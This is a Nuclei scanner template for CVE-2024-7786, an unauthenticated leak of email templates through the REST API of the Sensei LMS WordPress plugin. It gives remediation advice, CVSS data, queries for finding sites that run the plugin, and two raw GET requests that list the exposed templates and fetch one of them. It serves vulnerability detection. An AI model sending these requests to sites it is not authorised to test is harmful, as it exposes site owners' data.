id: CVE-2024-7786 info: name: Sensei LMS < 4.24.2 - Email Template Leak author: s4e-io severity: high description: | The Sensei LMS WordPress plugin before 4.24.2 does not properly protect some its REST API routes, allowing unauthenticated attackers to leak email templates. impact: | Unauthenticated attackers can access and leak email templates through unprotected REST API endpoints, potentially exposing sensitive information included in email communications and template configurations. remediation: | Update Sensei LMS plugin to version 4.24.2 or later to address the REST API protection issue. reference: - https://wpscan.com/vulnerability/f44e6f8f-3ef2-45c9-ae9c-9403305a548a/ - https://nvd.nist.gov/vuln/detail/CVE-2024-7786 - https://www.usom.gov.tr/bildirim/tr-24-1387 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-7786 epss-score: 0.70476 epss-percentile: 0.98708 metadata: max-request: 2 verified: true vendor: automattic product: sensei-lms framework: wordpress publicwww-query: "/wp-content/plugins/sensei-lms" fofa-query: body="/wp-content/plugins/sensei-lms" tags: cve,cve2024,wpscan,wp,wp-plugin,wordpress,sensei-lms,exposure,vkev,vuln flow: http(1) && http(2) http: - raw: - | GET /index.php/wp-json/wp/v2/sensei_email/ HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains_all(body,"id","date_gmt","slug")' - 'contains(content_type,"application/json")' - 'status_code == 200' condition: and internal: true extractors: - type: json part: body name: template_id json: - '.[0].id' internal: true - raw: - | GET /index.php/wp-json/wp/v2/sensei_email/{{template_id}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - 'sensei_email_preview_id={{template_id}}' - 'media?parent={{template_id}}' condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 4b0a00483046022100e46e76f6e3bc4aefc50b5485698abe62c32737c51e812f0172d343319bfe89da02210083f15028491e925de53bc34c1f2614bb054654726f184902076e2a8b00170740:922c64590222798bb761d5b6d8e72950